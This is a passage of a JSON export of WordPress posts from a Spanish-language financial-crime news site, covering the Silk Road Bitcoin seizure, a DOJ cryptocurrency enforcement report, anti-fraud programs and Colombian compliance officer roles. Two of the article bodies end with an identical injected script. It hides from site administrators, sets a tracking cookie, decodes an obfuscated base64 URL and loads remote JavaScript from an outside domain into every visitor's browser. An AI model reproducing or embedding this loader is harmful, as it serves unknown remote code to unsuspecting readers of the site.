con Silk Road. FUENTE: Chainalysis<\/figcaption><\/figure>\nSeg\u00fan los datos de Chainalysis, Silk Road represent\u00f3 casi el 20% de la actividad econ\u00f3mica total de Bitcoin en su punto m\u00e1ximo en 2013. La actividad econ\u00f3mica de Silk Road alcanz\u00f3 un total de US$ 435 millones (calculado con base en el precio de Bitcoin en ese momento) con un pico de poco menos de US$ 40 millones en volumen mensual en septiembre de 2013.\n\nSeg\u00fan las acusaciones de la demanda de decomiso civil, desde 2011 hasta octubre de 2013, cuando fue confiscado por las fuerzas del orden, Silk Road era el mercado criminal m\u00e1s sofisticado y extenso de Internet. Era utilizado como un bazar del mercado negro en expansi\u00f3n donde los usuarios del sitio compraban y vend\u00edan bienes y servicios ilegales con regularidad. La denuncia alega que mientras estaba en funcionamiento, Silk Road fue utilizado por miles de traficantes de drogas y otros vendedores ilegales para distribuir cientos de kilogramos de drogas, as\u00ed como otros bienes y servicios ilegales a m\u00e1s de 100.000 compradores, y para lavar cientos de millones de d\u00f3lares derivados de estas transacciones ilegales.\n\nAl momento de ser desmantelado en 2013, Silk Road ten\u00eda casi 13.000 listas de sustancias ilegales y muchos m\u00e1s listados que ofrec\u00edan servicios ilegales, como pirater\u00eda inform\u00e1tica y servicios de sicarios, que generaban ingresos por ventas por un total de m\u00e1s de 9,5 millones de Bitcoins y comisiones por estas ventas por un total de m\u00e1s de 600.000 Bitcoins. La denuncia tambi\u00e9n alega que Silk Road utiliz\u00f3 un \"tumbler\" para procesar transacciones de Bitcoin de una manera dise\u00f1ada para frustrar el seguimiento de transacciones individuales a trav\u00e9s de la cadena de bloques de criptomonedas.\n\nEl creador de Silk Road, Ross Ulbricht, luego de su arresto en San Francisco, fue condenado en 2015 por un jurado federal de Nueva York por siete cargos criminales, incluida la conspiraci\u00f3n para distribuir narc\u00f3ticos y lavado de dinero.\n\n<b><u>C\u00f3mo las fuerzas del orden identificaron y confiscaron los fondos<\/u><\/b>\n\nA principios de este a\u00f1o, los agentes del IRS-CI analizaron las transacciones de bitcoins ejecutadas por Silk Road e identificaron 54 transacciones de bitcoins no detectadas previamente. Tambi\u00e9n descubrieron que un hacker, conocido como Individual X, rob\u00f3 esos fondos de Silk Road.\n\nEn el gr\u00e1fico de Chainalysis Reactor debajo, vemos que el dinero de Silk Road va a otra billetera (1BADzn\u2026), y a la billetera del individuo X (1HQ3Go\u2026). En 2015, el Individuo X liquid\u00f3 algunos de los fondos robados en BTC-e, un intercambio de criptomonedas que fue incautado por las autoridades estadounidenses en 2017 por lavado de dinero. Pero la mayor\u00eda de los fondos robados se mantuvieron en la billetera del Individuo X a medida que sub\u00eda el precio de Bitcoin, hasta la semana pasada, cuando fueron incautados y trasladados a la billetera del gobierno de EE. UU. Ahora valen m\u00e1s de US$1.000 millones.\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"274\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-300x128.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-768x328.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-750x321.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1140x487.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor.png 1432w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n<figcaption>A trav\u00e9s de Chainalysis Reactor se sigui\u00f3 el dinero de Silk Road a otra billetera (1BADzn\u2026), a la billetera del Individuo X (1HQ3Go\u2026).<\/figcaption><\/figure>\nEste es otro ejemplo m\u00e1s de c\u00f3mo los investigadores pueden aprovechar las caracter\u00edsticas de la criptomoneda para seguir el flujo de fondos il\u00edcitos. Si bien este caso es notable por el valor de los fondos incautados, tambi\u00e9n muestra que las agencias gubernamentales que invierten en el an\u00e1lisis de blockchain no solo pueden usar esa tecnolog\u00eda para la generaci\u00f3n proactiva de pistas y para apuntalar los casos, sino tambi\u00e9n para localizar y confiscar ganancias il\u00edcitas. Tambi\u00e9n demuestra que los ingresos generados en cualquier momento pueden incautarse a\u00f1os despu\u00e9s utilizando evidencia de blockchain.\n\nTambi\u00e9n es notable que la incautaci\u00f3n de mil millones de d\u00f3lares realizada la semana pasada fue enviada y confirmada en cuesti\u00f3n de minutos. A diferencia de otros casos que involucran moneda fiduciaria o propiedad personal, donde la transferencia de posesi\u00f3n del gobierno puede llevar d\u00edas o incluso meses, la criptomoneda aprovecha el poder de la tecnolog\u00eda para transferir fondos en cuesti\u00f3n de minutos.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Siete a\u00f1os despu\u00e9s del cierre de Silk Road, EE.UU. logra confiscar US$1.000 millones en Bitcoins","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"siete-anos-despues-del-cierre-de-silk-road-ee-uu-logra-confiscar-us1-000-millones-en-bitcoins","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:20","post_modified_gmt":"2025-10-24 21:05:20","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25324","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25320,"post_author":"16","post_date":"2020-11-10 11:16:53","post_date_gmt":"2020-11-10 15:16:53","post_content":"<p>A principios de este mes, el Departamento de Justicia de EE.UU., a trav\u00e9s de su grupo de trabajo <b>Cyber Digital Task Force<\/b>, public\u00f3 este informe de orientaci\u00f3n criptogr\u00e1fica titulado\u00a0<a style=\"background-color: #ffffff;\" href=\"https:\/\/www.justice.gov\/ag\/page\/file\/1326061\/download\" target=\"_blank\" rel=\"noopener noreferrer\">\"Criptomoneda: un marco de aplicaci\u00f3n\".<\/a><\/p><p>El grupo de trabajo, establecido en 2018, tiene la tarea de evaluar las amenazas planteadas por los avances tecnol\u00f3gicos. Entre otras cosas, un informe inicial destac\u00f3 a la criptomoneda como una amenaza emergente y recomend\u00f3 un examen m\u00e1s detenido. El informe es la versi\u00f3n m\u00e1s acabada del Departamento de Justicia sobre la criptomoneda hasta el momento y tambi\u00e9n sigue una tendencia global general en una mayor claridad en los marcos regulatorios y de aplicaci\u00f3n en torno a las criptomonedas.<\/p><p>A medida que el uso de la criptomoneda evoluciona y se expande, tambi\u00e9n lo har\u00e1n las oportunidades para cometer delitos y hacer da\u00f1o mediante la explotaci\u00f3n de la tecnolog\u00eda de las criptomonedas, los delincuentes se expanden y perfeccionan las t\u00e9cnicas dise\u00f1adas para evadir la detecci\u00f3n.<\/p><p>Los usos il\u00edcitos de las criptomonedas amenazan no solo la seguridad p\u00fablica, sino tambi\u00e9n la seguridad nacional. Por ejemplo, la criptomoneda puede proporcionar a las organizaciones terroristas una herramienta para eludir las instituciones financieras tradicionales con el fin de obtener, transferir y utilizar fondos para avanzar en sus misiones. El uso de la criptomoneda por parte de los terroristas puede representar las primeras gotas de una tormenta inminente de uso expandido que podr\u00eda desafiar la capacidad de Estados Unidos para interrumpir los recursos financieros que permitir\u00edan a las organizaciones terroristas ejecutar exitosamente sus misiones o expandir sus influencias.<\/p><p>Del mismo modo, la criptomoneda presenta una nueva oportunidad preocupante para que las personas y estados esquiven las sanciones internacionales.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1140x641.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de Chain Hopping<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Desaf\u00edos<\/u><\/b><\/p><p>Este informe concluye en la Parte III con una discusi\u00f3n de los desaf\u00edos actuales que enfrenta el gobierno en la aplicaci\u00f3n de la criptomoneda, particularmente con respecto a los modelos comerciales (empleados por ciertos intercambios, plataformas, quioscos y casinos de criptomonedas) y a la actividad (como mixing\u201d and \u201ctumbling,\u201d \u201cchain hopping,\u201d y ciertos casos de arbitraje jurisdiccional) que pueden facilitar la actividad delictiva.<\/p><p>Esos desaf\u00edos se corresponden claramente con el conjunto m\u00e1s amplio de desaf\u00edos que presentan muchas tecnolog\u00edas emergentes para las agencias de aplicaci\u00f3n de la ley.<\/p><p><b><u>ICOs <\/u><\/b><\/p><p>Las tecnolog\u00edas relacionadas con Blockchain son complejas y dif\u00edciles de entender; por ejemplo, los m\u00e9todos para ejecutar delitos como los esquemas pump and dump (de bombeo y descarga) est\u00e1n cambiando y requieren que los investigadores se familiaricen con todo, desde c\u00f3mo se realizan las ofertas iniciales de monedas (Initial Coin Offerings, ICO) hasta c\u00f3mo las personas con conocimientos tecnol\u00f3gicos se comunican en aplicaciones de comunicaciones especializadas. Estas tecnolog\u00edas emergentes no solo son dif\u00edciles de asimilar, sino que los mercados relevantes tambi\u00e9n evolucionan r\u00e1pidamente. El auge de las ICO de hace unos a\u00f1os ha dado paso al crecimiento exponencial de los mercados de finanzas descentralizadas en los \u00faltimos meses, con todas las complejidades y dificultades asociadas para los agentes de ley.<\/p><p><b>Blockchain<\/b><\/p><p>La naturaleza global del ecosistema <i>blockchain<\/i> agrega una capa adicional de complejidad. El crimen organizado se ha extendido m\u00e1s all\u00e1 de las fronteras nacionales durante a\u00f1os, pero <i>blockchain<\/i> lleva esta globalizaci\u00f3n a otro nivel. Las partes realizan transacciones y transferencias entre continentes en cuesti\u00f3n de minutos, y la infraestructura digital de la propia cadena de bloques casi siempre trasciende los l\u00edmites territoriales. Adem\u00e1s de la dificultad, algunos de los intercambios de criptoactivos m\u00e1s grandes operan fuera de Estados Unidos, y muchos todav\u00eda requieren nada m\u00e1s que una direcci\u00f3n de correo electr\u00f3nico no verificada antes de permitir que una persona comience a operar.<\/p><p><b><u>Peer to Peer<\/u><\/b><\/p><p>Finalmente, las plataformas descentralizadas, los cambistas peer-to-peer (entre pares) y las criptomonedas con anonimato mejorado que utilizan cadenas de bloques privadas o no p\u00fablicas pueden ocultar a\u00fan m\u00e1s las transacciones financieras del escrutinio leg\u00edtimo. Los desaf\u00edos son importantes.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"351\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-300x164.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-768x421.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis.png 1216w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de una transacci\u00f3n il\u00edcita a trav\u00e9s del an\u00e1lisis de blockchain<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Investigaciones y procesamientos<\/u><\/b><\/p><p>A pesar de los muchos desaf\u00edos, el Departamento de Justicia ha investigado y procesado delincuentes que han usado criptomonedas para facilitar u ocultar sus actividades il\u00edcitas, EE.UU. ha entablado acciones contra personas y empresas que no han cumplido con sus obligaciones legales para evitar actividades il\u00edcitas. En casos particulares, el Departamento de Justicia ha procedido contra la propia criptomoneda il\u00edcita, confiscando esos activos virtuales y elimin\u00e1ndolos del flujo del comercio internacional, independientemente de su capacidad para identificar o aprehender a los actores que los utilizaron.<\/p><p>El Departamento de Justicia se\u00f1al\u00f3 que est\u00e1 comprometido a fortalecer sus asociaciones clave con la promoci\u00f3n de experiencia y conocimiento en materia de aplicaci\u00f3n de la ley; fomentando la cooperaci\u00f3n con las autoridades estatales; mejorando la cooperaci\u00f3n internacional; promoviendo una regulaci\u00f3n internacional integral y coherente; y llevando a cabo actividades de educaci\u00f3n y divulgaci\u00f3n del sector privado.<\/p><p>Para promover la seguridad todas las partes interesadas, desde la industria privada hasta los reguladores, funcionarios y usuarios individuales de criptomonedas, deber\u00e1n tomar medidas para garantizar que la criptomoneda no se utilice como plataforma para la ilegalidad. Se\u00f1ala el Departamento de Justicia que para que la criptomoneda adquiera su verdadero potencial transformador, es imperativo que se aborden estos riesgos.<\/p>","post_title":"Informe del DOJ sobre Criptomonedas: un marco de aplicaci\u00f3n","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"informe-del-doj-sobre-criptomonedas-un-marco-de-aplicacion","to_ping":"","pinged":"","post_modified":"2020-11-10 11:21:26","post_modified_gmt":"2020-11-10 15:21:26","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25320","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25317,"post_author":"16","post_date":"2020-11-10 09:49:27","post_date_gmt":"2020-11-10 13:49:27","post_content":"<p><b><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/5Steps-Small-10NOV2020.jpg\" alt=\"\" width=\"232\" height=\"300\" \/><\/b><\/p><p><b>Por Terry Luttrell, CAMS-Audit<\/b><\/p><p>A medida que 2020 llega a su fin, las empresas y\u00a0comunidades de todo el mundo no pueden negar los efectos de la pandemia de COVID-19. La devastaci\u00f3n financiera, as\u00ed como la p\u00e9rdida de vidas y el deterioro de la salud, han dejado su sello. Hist\u00f3ricamente, los desastres naturales de cualquier tipo han sacado a los estafadores a la luz para exponerlos ante lo que parece ser un grupo interminable de v\u00edctimas vulnerables.<\/p><p>La Oficina Federal de Investigaciones de EE.UU. (FBI) se\u00f1ala que cuanto m\u00e1s catastr\u00f3fico es el evento, m\u00e1s activos son los estafadores. COVID-19 es posiblemente el peor desastre mundial en d\u00e9cadas, y se ha detectado un aumento del fraude a gran escala. Si bien algunos de los esquemas de fraude no son nuevos, se han transformado para aprovecharse de comunidades que ya se enfrentan a una situaci\u00f3n sin precedentes. \u00bfC\u00f3mo se est\u00e1 moviendo su organizaci\u00f3n para fortalecer su programa antifraude para mitigar estos mayores riesgos?<\/p><p>Seg\u00fan las estad\u00edsticas hist\u00f3ricas de desastres, el Departamento de Justicia de EE.UU. espera que el fraude generalizado aumente entre un 10% y un 12% debido al COVID-19. En una encuesta reciente realizada por la Asociaci\u00f3n de Examinadores de Fraude Certificados, el 77% de los miembros encuestados dijo que ha observado un aumento en el nivel general de fraude, y un tercio se\u00f1al\u00f3 que este aumento ha sido significativo. Eso es notablemente m\u00e1s alto que en mayo de 2020, cuando el 68% de los encuestados hab\u00eda visto un aumento en el fraude, y una cuarta parte calific\u00f3 el aumento como significativo.<\/p><p>La pandemia ha creado la necesidad de que las organizaciones examinen sus programas antifraude para determinar si existe una mayor exposici\u00f3n al riesgo que se deba abordar. La ayuda financiera que generalmente sigue a los desastres conduce, lamentablemente, a un mayor riesgo de fraude. Cuantos m\u00e1s fondos para ingresan a la econom\u00eda, ya sea por huracanes, incendios forestales o una pandemia, mayor ser\u00e1 la presencia de delincuentes. Por lo tanto, si bien COVID-19 es el detonante actual de la tendencia al alza del fraude, las organizaciones deben posicionarse para evitar aumentos futuros. Como individuos, tenemos experiencia; sabemos qu\u00e9 hacer para disuadir el fraude y mitigar el riesgo. Sin embargo, combatir los riesgos y anticipar la evoluci\u00f3n de los riesgos en el entorno actual requiere un esfuerzo concertado de las organizaciones para reforzar sus programas antifraude.<\/p><p><strong><a style=\"background-color: #ffffff; color: #993300; text-decoration: underline;\" href=\"https:\/\/www.abrigo.com\/l\/5-steps-to-stronger-fraud-mitigation\/?utm_source=acfcs&utm_medium=affiliate&utm_campaign=october_whitepaper\" target=\"_blank\" rel=\"noopener noreferrer\">Descargue el documento completo<\/a><\/strong>\u00a0(en ingl\u00e9s) para conocer los 5 pasos para mejorar su programa de detecci\u00f3n de fraude durante la pandemia COVID-19.<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"5 pasos para un programa de detecci\u00f3n de fraude m\u00e1s s\u00f3lido","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"5-pasos-para-un-programa-de-deteccion-de-fraude-mas-solido","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:47","post_modified_gmt":"2025-10-24 21:05:47","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25317","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25307,"post_author":"16","post_date":"2020-11-02 16:18:07","post_date_gmt":"2020-11-02 20:18:07","post_content":"El coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, y un sin\u00famero de otros factores. Adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d.\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con toda clase de vulnerabilidades, desde las donaciones; hasta el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el incremento de los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos, solo por nombrar algunos\n\nhttps:\/\/youtu.be\/FJO5EozUmNU\n\n*Juan Pablo Rodr\u00edguez C\n\n**Ren\u00e9 M. Castro V\n\n Primero debemos ser claros en cuanto al t\u00e9rmino \u201ccompliance\u201d en Colombia, una aclaraci\u00f3n que tambi\u00e9n es v\u00e1lida para un amplio grupo de otros pa\u00edses (de Latinoam\u00e9rica y tambi\u00e9n fuera de la regi\u00f3n). La funci\u00f3n establecida en la legislaci\u00f3n colombiana de <b><u>Oficial de Cumplimiento<\/u><\/b> es dirigida al tema de lavado de activos y financiaci\u00f3n del terrorismo. De otra parte, la Ley 964 de 2005, conocida como la Ley del Mercado de Valores, establece para unos sectores espec\u00edficos de la econom\u00eda la obligatoriedad de contar con un <b><u>Contralor Normativo<\/u><\/b>, cuyas funciones se asemejan m\u00e1s a lo que se conoce como <b><u>Compliance Officer<\/u><\/b> en otros pa\u00edses.\n\nA partir de la Circular Externa 026 de 2008 la Superintendencia Financiera de Colombia se cre\u00f3 el <b><u>Sistema de Administraci\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SARLAFT)<\/u><\/b> en el que se instituye al Oficial de Cumplimiento como parte de integral la estructura organizacional.\n\nAsimismo, la Circular Externa No. 100-000003 de 2016 de la Superintendencia de Sociedades, que reglamenta la Ley 1778 de 2016, conocida como la <b><u>Ley Antisoborno<\/u><\/b>, establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional.<\/u><\/b>\n\nDe la misma forma, la Circular Externa No. 100-000006 de 2016 de la Superintendencia de Sociedades, que regula el <b><u>Sistema de Autocontrol y Gesti\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SAGRLAFT),<\/u><\/b> establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional<\/u><\/b>.\n\nPor lo anterior, tenemos en Colombia tres figuras:\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">1.       Oficial de Cumplimiento para SARLAFT (Sistema de Administraci\u00f3n de Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">2.       Oficial de Cumplimiento para SARS (Sistema de Administraci\u00f3n de Riesgo de Soborno).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">3.       Contralor Normativo.<\/p>\nLas funciones de los casos mencionados se encuentran definidas en las normas respectivas, sin perder de vista que su alcance depende del supervisor y de los riesgos que debe contener, como es el caso del riesgo de lavado de activos y la financiaci\u00f3n del terrorismo; el riesgo de soborno y; los riesgos legales en las comisionistas de bolsa.\n\nEl coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, etc., adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d, lo cual puede ser cotejado en los estudios cient\u00edficos sobre la materia realizados por la Universidad John Hopkins (1), el Instituto de Salud Global de Barcelona (2) y la Organizaci\u00f3n Mundial de la Salud (3).\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con las donaciones; la necesidad de contar con modelos de riesgo diferenciales; y desde el punto de vista penal, el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el aumento en los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos.\n\nPasando al plano empresarial, y resaltando que no es el \u00fanico de los aspectos que debe tener en cuenta un <b><u>Oficial de Cumplimiento<\/u><\/b>, muchas organizaciones de todo el mundo ahora se ven obligadas a buscar formas creativas para enfrentar sus propios desaf\u00edos de administrar equipos descentralizados cuando el trabajo en casa o el distanciamiento social entran en acci\u00f3n, como es el caso de la protecci\u00f3n de datos y la privacidad de la informaci\u00f3n, ya que trabajar en forma remota genera varios riesgos que los profesionales de cumplimiento deben reconocer e intentar mitigar. En consecuencia, se presentan a continuaci\u00f3n los cuatro m\u00e1s importantes:\n<ol>\n \t<li>En primer lugar, los empleados pueden estar utilizando su propio equipo de tecnolog\u00eda de informaci\u00f3n que podr\u00eda compartir con otros miembros de la familia, quienes tambi\u00e9n est\u00e1n confinados en la misma casa. Esto aumenta la posibilidad de que los ni\u00f1os, que a menudo son m\u00e1s conocedores de tecnolog\u00eda de informaci\u00f3n, pero menos conscientes de los riesgos que sus padres, accedan a sitios web y material que no est\u00e1 permitido dentro de los l\u00edmites de la oficina y eludan o ignoran los protocolos de seguridad habituales.<\/li>\n \t<li>En segundo lugar, el equipo de tecnolog\u00eda puede ser viejo y no haber sido instalado regularmente con las \u00faltimas actualizaciones de seguridad que normalmente alertar\u00edan a los usuarios sobre posibles malware o detectar virus. Como resultado, los incidentes de ciberataques y violaciones de datos podr\u00edan aumentar a medida que aumenta el n\u00famero de correos electr\u00f3nicos sospechosos y estafas de phishing.<\/li>\n \t<li>En tercer lugar, las organizaciones pueden encontrarse confiando en aplicaciones, software y herramientas de colaboraci\u00f3n para video o teleconferencias, que en el pasado no quisieron adoptar debido a temores de seguridad inform\u00e1tica y de cumplimiento.<\/li>\n \t<li>Cuarto, en industrias altamente reguladas, como los servicios financieros, es especialmente importante que las organizaciones recopilen, almacenen y archiven todas las comunicaciones de los empleados para garantizar su cumplimiento y para su uso en cualquier investigaci\u00f3n futura potencial. Las funciones de cumplimiento deber\u00e1n encontrar una manera de lograr esto, incluso mientras la fuerza laboral pueda estar trabajando de forma remota y en diferentes plataformas y dispositivos.<\/li>\n<\/ol>\n Si una empresa se enfrenta una interrupci\u00f3n de la cadena de suministro o de las adquisiciones durante esta crisis, existe la posibilidad de que esta se vea presionada para involucrar a nuevos proveedores sin llevar a cabo el nivel adecuado de debida diligencia.\n\nDe los ejemplos mencionados, se pueden desprender las siguientes recomendaciones para los Oficiales de Cumplimiento:\n\n\u2022             Revisar todos los contratos de nuevos proveedores para garantizar que se incorporen los t\u00e9rminos legales apropiados.\n\n\u2022             Revisar las facturas y pagos de proveedores por cualquier se\u00f1al de alerta o anomal\u00edas, y monitorear la conducta para asegurarse de que cumpla con los requisitos reglamentarios y contractuales aplicables.\n\n\u2022             Aplicar un modelo de diligencia debida de terceros diferencial a las contrapartes de acuerdo con su nivel de riesgo.\n\n\u2022             Validar si es necesario la modificaci\u00f3n de pol\u00edticas, procedimientos y controles para responder a los desaf\u00edos de la pandemia.\n\n\u2022             Documentarse y comunicar tanto al interior de la organizaci\u00f3n como a sus contrapartes externas los cambios que se hayan realizado a las pol\u00edticas, procedimientos y controles respectivos.\n\n\u2022             Conservar los soportes documentales de la diligencia debida en una plataforma electr\u00f3nica o base de datos adecuada, para que el cumplimiento de los procedimientos pueda ser auditado posteriormente.\n\nPor \u00faltimo, el hecho de que la mayor parte del negocio funcione en forma remota 